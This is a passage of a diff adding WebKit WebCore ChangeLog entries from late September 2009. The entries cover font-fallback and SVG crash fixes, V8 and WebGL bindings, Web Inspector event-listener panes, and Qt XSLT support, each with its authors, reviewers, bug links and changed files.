+        <rdar://problem/7157288> Crash in RenderStyle::computedLineHeight()
+        when Times New Roman is not installed
+
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::FontCache::getLastResortFallbackFont): If Times New Roman is
+        not available, use the Windows default GUI font.
+
+2009-09-28  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        Do not add platform-specific methods to cross-platform header
+        FileSystem.h per Darin's feedback for 29109.
+        https://bugs.webkit.org/show_bug.cgi?id=29830
+
+        * platform/FileSystem.h:
+        * platform/chromium/DragDataChromium.cpp:
+        (WebCore::DragData::asURL):
+        * platform/chromium/FileSystemChromium.cpp:
+
+2009-09-28  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Register Chromium's VFSs with a proper sqlite3_io_methods
+        finder. This should only affect the POSIX implementation. The
+        Windows change is included for consistency and in case sqlite
+        starts using something similar in its Windows VFS in the future.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29743
+
+        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp:
+        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
+        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
+
+2009-09-28  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Change the V8 bindings' handling of window.toString(),
+        so we return [object DOMWindow] (like JSC), not [object global].
+
+        https://bugs.webkit.org/show_bug.cgi?id=29742
+
+        This will fix a couple of Chromium port test failures and enable us to
+        use the default expectations for a bunch more.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp: Use the DOMWindow wrapper instead
+        of the global object wrapper when it's available in the DOMWindow toString callback.
+
+2009-09-28  Nate Chapin  <japhet@chromium.org>
+
+        Rubber stamped by David Levin.
+
+        Chromium build fix, add back in #include of V8Proxy.h in V8WebKitPointConstructor.cpp.
+
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp: Re-include V8Proxy.h.
+
+2009-09-28  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Darin Adler.
+
+        NotNullPassRefPtr: smart pointer optimized for passing references that are not null
+        https://bugs.webkit.org/show_bug.cgi?id=29822
+        
+        Added NotNullPassRefPtr, and deployed it in all places that initialize
+        JavaScript objects.
+
+        * bindings/js/DOMObjectWithSVGContext.h:
+        (WebCore::DOMObjectWithSVGContext::DOMObjectWithSVGContext):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::cacheDOMStructure):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObject::DOMObject):
+        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
+        (WebCore::DOMConstructorObject::DOMConstructorObject):
+        (WebCore::DOMConstructorWithDocument::DOMConstructorWithDocument):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::JSDOMGlobalObject):
+        * bindings/js/JSDOMGlobalObject.h:
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBase):
+        * bindings/js/JSDOMWindowBase.h:
+        * bindings/js/JSHTMLAllCollection.h:
+        (WebCore::JSHTMLAllCollection::JSHTMLAllCollection):
+        * bindings/js/JSInspectedObjectWrapper.cpp:
+        (WebCore::JSInspectedObjectWrapper::JSInspectedObjectWrapper):
+        * bindings/js/JSInspectedObjectWrapper.h:
+        * bindings/js/JSInspectorCallbackWrapper.cpp:
+        (WebCore::JSInspectorCallbackWrapper::JSInspectorCallbackWrapper):
+        * bindings/js/JSInspectorCallbackWrapper.h:
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::JSQuarantinedObjectWrapper):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        * bindings/js/JSWorkerContextBase.cpp:
+        (WebCore::JSWorkerContextBase::JSWorkerContextBase):
+        * bindings/js/JSWorkerContextBase.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::RuntimeObjectImp):
+        * bridge/runtime_object.h:
+
+2009-09-28  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Allow V8 to handle x/y parameters in a WebKitPoint constructor.
+        https://bugs.webkit.org/show_bug.cgi?id=29823
+
+        Fixes V8's handling of LayoutTests/fast/dom/Window/webkitConvertPoint.html
+
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp: Allow for x/y parameters in constructor.
+
+2009-09-28  Mark Rowe  <mrowe@apple.com>
+
+        Fix the build by doing something approximating reasonableness in the Xcode project.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-09-28  Simon Hausmann  <hausmann@webkit.org>
+
+        Prospective Tiger build fix.
+
+        * WebCore.xcodeproj/project.pbxproj: Try to use unique IDs for the new files.
+
+2009-09-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add explicit frontend event for commit load.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29814
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didCommitLoad):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::didCommitLoad):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMAgent.prototype._setDocument):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addResource):
+        (WebInspector.didCommitLoad):
+
+2009-09-28  Yaar Schnitman  <yaar@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Chromium port - recognize we are being built independently
+        of chromium and look for dependencies under webkit/chromium rather
+        than chromium/src.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29722
+
+        * WebCore.gyp/WebCore.gyp: See above. Also removed a few files from
+          the sources list, since they are not supposed to be built here.
+
+2009-09-28  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Implement XSLT support with QtXmlPatterns.
+        https://bugs.webkit.org/show_bug.cgi?id=28303
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCoreSources.bkl:
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::~Document):
+        (WebCore::Document::setTransformSource):
+        * dom/Document.h:
+        (WebCore::Document::transformSource):
+        * dom/TransformSource.h: Added.
+        (WebCore::TransformSource::platformSource):
+        * dom/TransformSourceLibxslt.cpp: Added.
+        (WebCore::TransformSource::TransformSource): Wraps a libxml2 document.
+        (WebCore::TransformSource::~TransformSource):
+        * dom/TransformSourceQt.cpp: Added.
+        (WebCore::TransformSource::TransformSource): Wraps a plain string.
+        (WebCore::TransformSource::~TransformSource):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::doEnd):
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::doEnd):
+        (WebCore::XMLTokenizer::parseProcessingInstruction):
+        * xml/XSLStyleSheet.h:
+        (WebCore::XSLStyleSheet::sheetString):
+        * xml/XSLStyleSheetLibxslt.cpp:
+        (WebCore::XSLStyleSheet::document):
+        * xml/XSLStyleSheetQt.cpp: Added.
+        * xml/XSLTProcessor.h:
+        * xml/XSLTProcessorLibxslt.cpp:
+        (WebCore::xmlDocPtrFromNode):
+        * xml/XSLTProcessorQt.cpp: Added.
+        (WebCore::XSLTMessageHandler::XSLTMessageHandler): A subclass of QAbstractMessageHandler.
+        (WebCore::XSLTMessageHandler::handleMessage): Forwards all processor messages to the Console.
+        (WebCore::XSLTProcessor::transformToString): Uses QXmlQuery.
+
+2009-09-28  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        Delegate implementation of rendererIsNeeded() for media control elements to RenderTheme.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28689
+
+        Covered by LayoutTests/media/video-no-audio.html
+
+        * rendering/MediaControlElements.cpp: Removed subclass implementations of rendererIsNeeded().
+        (WebCore::MediaControlElement::rendererIsNeeded): Include calling shouldRenderMediaControlPart().
+        (WebCore::MediaControlInputElement::rendererIsNeeded): Include calling shouldRenderMediaControlPart().
+        * rendering/MediaControlElements.h:
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::shouldRenderMediaControlPart): New method.  Contains logic moved from subclass implementations of rendererIsNeeded().
+        * rendering/RenderTheme.h:
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::shouldRenderMediaControlPart): Override to always render mute button.
+        * rendering/RenderThemeChromiumSkia.h:
+
+2009-09-28  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] DragData::asURL should return file URL.
+        https://bugs.webkit.org/show_bug.cgi?id=29109
+
+        Tested by LayoutTests/fast/events/drag-to-navigate.html.
+
+        * platform/FileSystem.h:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/DragDataChromium.cpp:
+        (WebCore::DragData::asURL):
+        * platform/chromium/FileSystemChromium.cpp:
+        (WebCore::getAbsolutePath):
+        (WebCore::isDirectory):
+        (WebCore::filePathToURL):
+
+2009-09-28  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Add a special case to handle index arguments, because we need to be
+        able to see if they're < 0.
+        https://bugs.webkit.org/show_bug.cgi?id=29810
+
+        Test: LayoutTests/dom/html/level1/core/hc_characterdataindexsizeerrdeletedatacountnegative.html
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added special case (matching CodeGeneratorJS.pm)
+          for index arguments.
+
+2009-09-28  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Extend the MediaWiki/KHTMLFixes.css workaround to cover older MediaWiki versions
+        https://bugs.webkit.org/show_bug.cgi?id=29792
+
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::setCSSStyleSheet): If site specific hacks are
+        enabled, check if the linked style sheet is one of two versions of the
+        MediaWiki KHTMLFixes.css. If so, remove the offending rule.
+
+2009-09-28  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Fix an error in type logic in CodeGeneratorV8.pm, where
+        unsigned ints are accidentally used as signed.
+        https://bugs.webkit.org/show_bug.cgi?id=29810
+
+        Test: LayoutTests/fast/forms/textarea-maxlength.html
+
+        * bindings/scripts/CodeGeneratorV8.pm: Made sure "unsigned long" in IDL is
+          properly generates on "unsigned" return value.
+
+2009-09-28  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Rename XSLStyleSheet.cpp to XSLStyleSheetLibxslt.cpp.
+        https://bugs.webkit.org/show_bug.cgi?id=28303
+
+        In preparation for adding XSLT support with QtXmlPatterns to the Qt
+        port, rename XSLStyleSheet.cpp to XSLStyleSheetLibxslt.cpp as we will
+        have our own implementation which most likely will not share any code
+        with the current one.
+
+        Additionally, fix some coding style issues.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * xml/XSLStyleSheet.cpp: Renamed to XSLStyleSheetLibxslt.cpp.
+        * xml/XSLStyleSheetLibxslt.cpp: Added.
+
+2009-09-28  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Prospective build fix for r48812.
+
+        Forgot to remove the inline reset() implementation when reverting the indentation
+        changes in the file.
+
+        * xml/XSLTProcessor.h:
+
+2009-09-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by nobody (trivial follow up fix), Joseph Pecoraro LGTM-ed.
+
+        Web Inspector: Follow up to r48809.
+        InspectorController.wrapObject should only be called on the inspectable page side.
+
+        https://bugs.webkit.org/show_bug.cgi?id=17429
+
+        * inspector/front-end/EventListenersSidebarPane.js:
+        (WebInspector.EventListenersSidebarPane.prototype.update.callback):
+        (WebInspector.EventListenersSidebarPane.prototype.update):
+        (WebInspector.EventListenersSection):
+        (WebInspector.EventListenersSection.prototype.update):
+        (WebInspector.EventListenerBar):
+        (WebInspector.EventListenerBar.prototype.update):
+
+2009-09-28  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Move the libxslt specific part of XSLTProcessor to a separate file.
+        https://bugs.webkit.org/show_bug.cgi?id=28303
+
+        In preparation for adding XSLT support with QtXmlPatterns to the Qt
+        port, move the libxslt part of the XSLTProcessor implementation into
+        another file and leave the part that can be reused and shared.
+
+        Additionally, fix some coding style issues.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * xml/XSLTProcessor.cpp:
+        (WebCore::XSLTProcessor::createDocumentFromSource): Remove trailing whitespaces.
+        (WebCore::createFragmentFromSource): Remove trailing whitespaces.
+        (WebCore::XSLTProcessor::transformToFragment): Remove trailing whitespaces.
+        (WebCore::XSLTProcessor::reset): Moved out of the class definition.
+        * xml/XSLTProcessorLibxslt.cpp: Added.
+        (WebCore::XSLTProcessor::genericErrorFunc): Moved.
+        (WebCore::XSLTProcessor::parseErrorFunc): Moved.
+        (WebCore::docLoaderFunc): Moved.
+        (WebCore::setXSLTLoadCallBack): Moved.
+        (WebCore::writeToVector): Moved.
+        (WebCore::saveResultToString): Moved.
+        (WebCore::xsltParamArrayFromParameterMap): Moved.
+        (WebCore::freeXsltParamArray): Moved.
+        (WebCore::xsltStylesheetPointer): Moved.
+        (WebCore::xmlDocPtrFromNode): Moved.
+        (WebCore::resultMIMEType): Moved.
+        (WebCore::XSLTProcessor::transformToString): Moved.
+
+2009-09-28  Charles Wei  <charles.wei@torchmobile.com.cn>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Fix the crash of SVG that crashes when use a non-exist symbol
+        https://bugs.webkit.org/show_bug.cgi?id=27693
+
+        Test: svg/custom/use-non-existing-symbol-crash.svg
+
+        * svg/SVGUseElement.cpp:
+        (WebCore::shadowTreeContainsChangedNodes):
+
+2009-09-28  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector Should Show Event Listeners/Handlers Registered on each Node
+        https://bugs.webkit.org/show_bug.cgi?id=17429
+        
+          Extracted a method from dispatchEvent to get the event ancestor chain
+        
+        * dom/Node.cpp:
+        (WebCore::Node::eventAncestors): the extracted method
+        (WebCore::Node::dispatchGenericEvent): use eventAncestors
+        * dom/Node.h:
+
+          Asynchronous Flow For the Inspector, Backend -> DOM Agent -> Frontend
+          The DOMAgent's getEventListenersForNode handles the logic of finding
+          all the relevant listeners in the event flow.
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getEventListenersForNode):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getEventListenersForNode):
+        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
+        (WebCore::InspectorDOMAgent::buildObjectForNode): added localName
+        * inspector/InspectorDOMAgent.h:
+        (WebCore::EventListenerInfo::EventListenerInfo):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::didGetEventListenersForNode):
+        * inspector/InspectorFrontend.h:
+        (WebCore::InspectorFrontend::scriptState):
+        * inspector/front-end/DOMAgent.js: added localName to WebInspector.DOMNode from payload
+        (WebInspector.EventListeners.getEventListenersForNodeAsync.mycallback):
+        (WebInspector.EventListeners.getEventListenersForNodeAsync):
+
+          New Sidebar Pane in the Element's Panel
+          Includes Gear Menu for filtering the Event Listeners on the
+          "Selected Node Only" or "All Nodes"
+
+        * inspector/front-end/ElementsPanel.js: Handles refreshing the Pane when necessary
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel):
+        (WebInspector.ElementsPanel.prototype.updateEventListeners):
+        * inspector/front-end/EventListenersSidebarPane.js: Added. 
+        (WebInspector.EventListenersSidebarPane): The 1st level in the Pane
+        (WebInspector.EventListenersSidebarPane.prototype.update.callback):
+        (WebInspector.EventListenersSidebarPane.prototype.update):
+        (WebInspector.EventListenersSection): The 2nd level in the Pane
+        (WebInspector.EventListenersSection.prototype.update): filters on Preference
+        (WebInspector.EventListenersSection.prototype.addListener):
+        (WebInspector.EventListenerBar): The 3rd level in the Pane
+        (WebInspector.EventListenerBar.prototype._getNodeDisplayName):
+        (WebInspector.EventListenerBar.prototype._getFunctionDisplayName):
+        (WebInspector.EventListenersSidebarPane.prototype._changeSetting): For the Gear Menu
+        
+          Consolidated "appropriateSelectorForNode"
+
+        * inspector/front-end/StylesSidebarPane.js:
+        * inspector/front-end/utilities.js:
+
+          Miscellaneous Updates
+
+        * English.lproj/localizedStrings.js: "Event Listeners", "No Event Listeners", "Selected Node Only", "All Nodes"
+        * WebCore.gypi: included the new inspector files
+        * WebCore.vcproj/WebCore.vcproj: included source files that were missing
+        * inspector/front-end/Images/grayConnectorPoint.png: Added. Thanks to Timothy Hatcher.
+        * inspector/front-end/Images/whiteConnectorPoint.png: Added. Thanks to Timothy Hatcher.
+        * inspector/front-end/inspector.js: Preferences for the Gear Menu Event Listeners filter
+        * inspector/front-end/inspector.css: reused as much as possible
+        * inspector/front-end/inspector.html: include the new script
+        * inspector/front-end/WebKit.qrc: included the new inspector files
+
+2009-09-27  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29760
+        Implement CSSOM Range.getClientRects/getBoundingClientRect 
+
+        Tests: fast/dom/Range/getBoundingClientRect-getClientRects-relative-to-viewport.html
+               fast/dom/Range/getBoundingClientRect.html
+               fast/dom/Range/getClientRects.html
+
+        * dom/Range.cpp:
+        (WebCore::Range::getClientRects):
+        (WebCore::Range::getBoundingClientRect):
+        (WebCore::adjustFloatQuadsForScrollAndAbsoluteZoom):
+        (WebCore::Range::getBorderAndTextQuads):
+        * dom/Range.h:
+        * dom/Range.idl:
+        Implement Range.getClientRects/getBoundingClientRect.
+
+        * dom/Element.cpp:
+        * rendering/RenderObject.h: 
+        (WebCore::adjustForAbsoluteZoom):
+        (WebCore::adjustIntRectForAbsoluteZoom):
+        (WebCore::adjustFloatPointForAbsoluteZoom):
+        (WebCore::adjustFloatQuadForAbsoluteZoom):
+        Move point/quad adjustment methods from Element.cpp to RenderObject.h
+        so that Range.cpp can use them as well.
+
+2009-09-27  Simon Hausmann  <hausmann@webkit.org>
+
+        Unreviewed fix for WebInspector with Qt build.
+
+        Simply re-generate the Qt resource file by running
+        WebKitTools/Scripts/generate-qt-inspector-resource
+
+        * inspector/front-end/WebKit.qrc:
+
+2009-09-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by nobody (trivial ChangeLog fix).
+
+        Restore WebCore/ChangeLog truncated in r48778.
+
+2009-09-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: DOM store is being unbound twice, leading to assertion failure.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29770
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didOpenDatabase):
+        (WebCore::InspectorController::didUseDOMStorage):
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::unbind):
+
+2009-09-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not track DOM changes while inspector window is closed.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29769
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::setDocument):
+        * inspector/InspectorDOMAgent.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
+        * page/android/InspectorControllerAndroid.cpp:
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+
+2009-09-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: [REGRESSION] Double Clicking Resources Fails to Open in New Window
+
+        https://bugs.webkit.org/show_bug.cgi?id=29762
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.setStyleText):
+        (InjectedScript.openInInspectedWindow):
+        * inspector/front-end/InjectedScriptAccess.js:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+
+2009-09-26  David Kilzer  <ddkilzer@apple.com>
+
+        Part 2 of 2: <http://webkit.org/b/29753> DerivedSources.make broken for non-Mac targets
+
+        Reviewed by Darin Adler.
+
+        Fix ENABLE_ORIENTATION_EVENTS for non-Mac platforms.
+
+        * DerivedSources.make: Moved Platform.h check for
+        ENABLE_ORIENTATION_EVENTS into Mac-only section and added
+        default of ENABLE_ORIENTATION_EVENTS = 0 to non-Mac section.
+        Added ifndef test to make it possible to override both
+        ENABLE_DASHBOARD_SUPPORT and ENABLE_ORIENTATION_EVENTS external
+        to the makefile.  Moved addition of ENABLE_ORIENTATION_EVENTS to
+        ADDITIONAL_IDL_DEFINES to common section.
+        * GNUmakefile.am: Added support for ENABLE_ORIENTATION_EVENTS if
+        it is ever used.
+        * WebCore.pro: Ditto.
+
+2009-09-26  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by David Kilzer.
+
+        Move placeholder-related code to HTMLTextFormControlElement from
+        HTMLInputElement, WMLInputElement, InputElement, and
+        HTMLTextAreaElement.
+        https://bugs.webkit.org/show_bug.cgi?id=28703
+
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::dispatchFocusEvent):
+        (WebCore::InputElement::dispatchBlurEvent):
+        (WebCore::InputElement::setValueFromRenderer):
+        * dom/InputElement.h:
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLTextFormControlElement::HTMLTextFormControlElement):
+        (WebCore::HTMLTextFormControlElement::~HTMLTextFormControlElement):
+        (WebCore::HTMLTextFormControlElement::dispatchFocusEvent):
+        (WebCore::HTMLTextFormControlElement::dispatchBlurEvent):
+        (WebCore::HTMLTextFormControlElement::placeholderShouldBeVisible):
+        (WebCore::HTMLTextFormControlElement::updatePlaceholderVisibility):
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLTextFormControlElement::handleFocusEvent):
+        (WebCore::HTMLTextFormControlElement::handleBlurEvent):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::HTMLInputElement):
+        (WebCore::HTMLInputElement::handleFocusEvent):
+        (WebCore::HTMLInputElement::handleBlurEvent):
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        (WebCore::HTMLInputElement::createRenderer):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::setValueFromRenderer):
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::supportsPlaceholder):
+        (WebCore::HTMLInputElement::isEmptyValue):
+        * html/HTMLIsIndexElement.cpp:
+        (WebCore::HTMLIsIndexElement::parseMappedAttribute):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::HTMLTextAreaElement):
+        (WebCore::HTMLTextAreaElement::createRenderer):
+        * html/HTMLTextAreaElement.h:
+        (WebCore::HTMLTextAreaElement::supportsPlaceholder):
+        (WebCore::HTMLTextAreaElement::isEmptyValue):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::RenderTextControl):
+        * rendering/RenderTextControl.h:
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::RenderTextControlMultiLine):
+        * rendering/RenderTextControlMultiLine.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::RenderTextControlSingleLine):
+        (WebCore::RenderTextControlSingleLine::updateFromElement):
+        * rendering/RenderTextControlSingleLine.h:
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::setValue):
+        (WebCore::WMLInputElement::createRenderer):
+        * wml/WMLInputElement.h:
+
+2009-09-26  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Optimize the code so only the text from start to end is scanned.
+        https://bugs.webkit.org/show_bug.cgi?id=29092
+
+        On a platform with webkit+Qt+Symbian, the parsing time for a 600K text
+        file improved from 400ms to 40ms (10x faster).
+
+        * dom/Text.cpp:
+        (WebCore::Text::createWithLengthLimit):
+
+2009-09-26  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        This Patch fixes [chromium] the drop-down is always left-aligned even
+        for RTL element.
+        https://bugs.webkit.org/show_bug.cgi?id=29612
+
+        For auto-complete, the items in drop-down should be right-aligned if
+        the directionality of <input> field is RTL.
+        For <select><option>, the items in drop-down should be right-aligned
+        if the directionality of <select> is RTL.
+
+        No automatic test is possible. Manual tests are added.
+
+        * manual-tests/autofill_alignment.html: Added.
+        * manual-tests/select_alignment.html: Added.
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::paintRow): Adjust the starting x-axis of text to
+        be paint if it should be right-aligned.
+
+2009-09-25  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        REGRESSION (r48775) FontList.plist written by TOT WebKit causes Safari 4
+        to crash on launch
+        https://bugs.webkit.org/show_bug.cgi?id=29759
+
+        * platform/graphics/win/FontDatabase.cpp:
+        (WebCore::writeFontDatabaseToPlist): Reverted to saving the CG font DB
+        property list at the root of FontList.plist, but with an additional
+        key for the last value of the Fonts registry key.
+        (WebCore::populateFontDatabase): Pass the FontList.plist in its entirety
+        to populatFontDatabaseFromPlist.
+
+2009-09-25  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Build fix. Adding missing header files.
+
+        * bindings/js/JSNamedNodeMapCustom.cpp:
+
+2009-09-25  David Kilzer  <ddkilzer@apple.com>
+
+        Part 1 of 2: <http://webkit.org/b/29753> DerivedSources.make broken for non-Mac targets
+
+        Reviewed by Darin Adler.
+
+        * DerivedSources.make: Move tests for ENABLE_CONTEXT_MENUS,
+        ENABLE_DRAG_SUPPORT and ENABLE_INSPECTOR into Mac-only section.
+
+2009-09-25  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Load blocks during unload should not affect targeted loads
+        https://bugs.webkit.org/show_bug.cgi?id=29747
+
+        Move the check of the unload state after checking for targeted links.
+
+        Test: fast/loader/unload-hyperlink-targeted.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadURL):
+
+2009-09-25  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Chromium] Add initial V8 bindings for WebGL
+        https://bugs.webkit.org/show_bug.cgi?id=29664
+
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8CanvasArrayBufferCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CanvasArrayCustom.h: Added.
+        (WebCore::constructCanvasArray):
+        * bindings/v8/custom/V8CanvasByteArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasFloatArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasIntArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasRenderingContext3DCustom.cpp: Added.
+        (WebCore::jsArrayToFloatArray):
+        (WebCore::jsArrayToIntArray):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::):
+        (WebCore::vertexAttribAndUniformHelperf):
+        (WebCore::uniformHelperi):
+        (WebCore::uniformMatrixHelper):
+        * bindings/v8/custom/V8CanvasShortArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasUnsignedByteArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasUnsignedIntArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasUnsignedShortArrayCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
